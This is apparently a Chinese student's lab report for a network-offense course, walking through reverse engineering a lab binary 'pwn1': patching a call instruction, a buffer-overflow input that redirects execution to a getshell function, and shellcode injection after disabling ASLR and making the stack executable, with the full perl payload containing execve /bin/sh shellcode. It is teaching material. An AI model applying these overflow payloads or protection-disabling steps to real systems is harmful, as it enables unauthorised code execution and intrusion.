2018-2019-2 网络对抗技术 20165227 Exp1 PC平台逆向破解

实验内容及步骤

实验一:直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

  • 首先将pwn1目标文件进行备份 cp pwn1 pwn5227

  • 对pwn5227文件进行反汇编 objdump -d pwn5227 | more

  • 并找到main函数中调用foo函数的机器码

  • 使用 vi pwn5227 进行编辑

  • 在vi里面进行以下步骤

  • 使用 :%!xxd 显示模式切换为16进制模式

  • 使用 /e8d7 查找要修改的内容

  • 使用 r 将d7修改成c3,保存并退出

  • 将16进制转换回原格式 :%!xxd -r,退出

  • 再次反汇编pwn5227,发现函数调用已更改

  • 结果验证

实验二:通过构造输入参数,造成BOF攻击,改变程序执行流

  • 知识要求:堆栈结构,返回地址 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取 进阶:掌握ELF文件格式,掌握动态技术

  • 将pwn1再次备份,得到pwn2

  • 对pwn2进行GDB调试,运行并输入进行尝试 1111111122222222333333334444444412345678

  • 从结果中得到ASCII码值 0x34333231 也就是1234

  • 我们需要做的就是将其替换成getshell的返回地址 0x0804847d

  • 生成包含字符串的文件 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

  • 使用命令 (cat input;cat) | ./pwn2 ,将input的内容作为./pwn2的输入,并验证结果

实验三:Shellcode注入攻击

  • 准备工作
apt-get install execstack安装execstack
# execstack -s pwn1 //设置堆栈可执行
# execstack -q pwn1 //查询文件的堆栈是否可执行
# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
# more /proc/sys/kernel/randomize_va_space //查看地址随机化是否已经关闭

  • 注入攻击

  • 再重新打开另一个终端 ctrl+shift+t

  • 首先需要找到进程号

  • 可知进程号为 101286

  • 使用gdb调试进程

gdb
attach 101286
disassemble foo
break *0x080484ae
(运行另一个终端中的pwn1按下回车后)
c
info r esp
x/16x 0xffffd2ac

  • 得到的地址+4,得到shellcode的地址是 0xffffd2b0
  • 输入指令
perl -e 'print "A" x 32;print "\xb0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\xd3\xff\xff\x00"' > input_shellcode
  • 最后验证结果

遇到的问题

  • 在安装execstack的时候出现了```无法定位软件包的原因,通过查阅资料得知,应该更新源

之后就能顺利安装了

实验感想

  • 这次的实验是网络对抗的第一次实验,也是第一次清晰地感受了一次之前学过的缓冲区溢出攻击实现的实验,通过实验,对老师上课讲的知识点有了更深的理解,同时也对操作熟练程度有了加深,希望之后也能学到更多。

思考题

  • 漏洞
  • 漏洞是软件编程中的纰漏,是会导致程序运行失败、系统关机、重新启动,或者执行攻击者的指令。
  • 危害:会对系统的安全性造成影响,并且容易造成重要资料的丢失或窃取等严重后果

2018-2019-2 网络对抗技术 20165227 Exp1 PC平台逆向破解的更多相关文章

  1. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  2. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  3. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  4. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  5. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  6. 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...

  7. 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215

    2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...

  8. 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...

  9. 20165214 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 Week3

    <网络对抗技术>Exp1 PC平台逆向破解之"逆向及Bof基础实践说明" Week3 一. 实验预习 1.什么是漏洞?漏洞有什么危害? 漏洞就是在计算机硬件.软件.协议 ...

随机推荐

  1. day25 初始面向对象

    类 有具体规范,无具体值对象 有具体的值 dict 类d = {"":""} 对象 自定义一个类格式: class 类名: # 可以跟()或者不跟 属性 = ' ...

  2. 不失一般性和快捷性地判定决策单调(洛谷P1912 [NOI2009]诗人小G)(动态规划,决策单调性,单调队列)

    洛谷题目传送门 闲话 看完洛谷larryzhong巨佬的题解,蒟蒻一脸懵逼 如果哪年NOI(放心我这样的蒟蒻是去不了的)又来个决策单调性优化DP,那蒟蒻是不是会看都看不出来直接爆\(0\)?! 还是要 ...

  3. LCT总结——概念篇+洛谷P3690[模板]Link Cut Tree(动态树)(LCT,Splay)

    为了优化体验(其实是强迫症),蒟蒻把总结拆成了两篇,方便不同学习阶段的Dalao们切换. LCT总结--应用篇戳这里 概念.性质简述 首先介绍一下链剖分的概念(感谢laofu的讲课) 链剖分,是指一类 ...

  4. BZOJ5298 [CQOI2018] 交错序列 | 矩阵乘法和一个trick

    题面 求所有长度为\(n\)的.没有相邻的1的01序列中,若0有\(x\)个.1有\(y\)个,\(x^ay^b\)之和(对\(m\)取模). \(n \le 10^7, m \le 10^8, 0 ...

  5. 平衡树Splay

    维护区间添加,删除,前驱,后继,排名,逆排名 普通平衡树 #include <cstdio> #define ls t[now].ch[0] #define rs t[now].ch[1] ...

  6. 洛谷 P3102 [USACO14FEB]秘密代码Secret Code 解题报告

    P3102 [USACO14FEB]秘密代码Secret Code 题目描述 Farmer John has secret message that he wants to hide from his ...

  7. 【转】CPU上下文切换的次数和时间(context switch)

    http://iamzhongyong.iteye.com/blog/1895728 什么是CPU上下文切换? 现在linux是大多基于抢占式,CPU给每个任务一定的服务时间,当时间片轮转的时候,需要 ...

  8. CF1043

    找个下午打了场CF,结果被某uranus吊打......一千多名,过弱. T1,一眼二分了,后来发现题解是O(1)的hhh T2,题意精炼一下就是让你找一个串的循环节个数,直接n²枚举..... T3 ...

  9. spring对事务的配置

    接下来我将给大家介绍spring事务配置的两种方式: 1.基于XML的事务配置.2.基于注解方式的事务配置. 前言:在我们详细介绍spring的两种声明式事务管理之前,我们需要先理解这些概念 1)sp ...

  10. 自定制Centos7.3系统镜像(ISO)

    本文主要介绍如何根据官方的Centos镜像文件,在保留原有默认安装的RPM包的基础下,添加自己所需要的RPM包的,最终生成一个自定制版的ISO,节省了宝贵的时间并确保了安装的定制性.对于其他没有介绍的 ...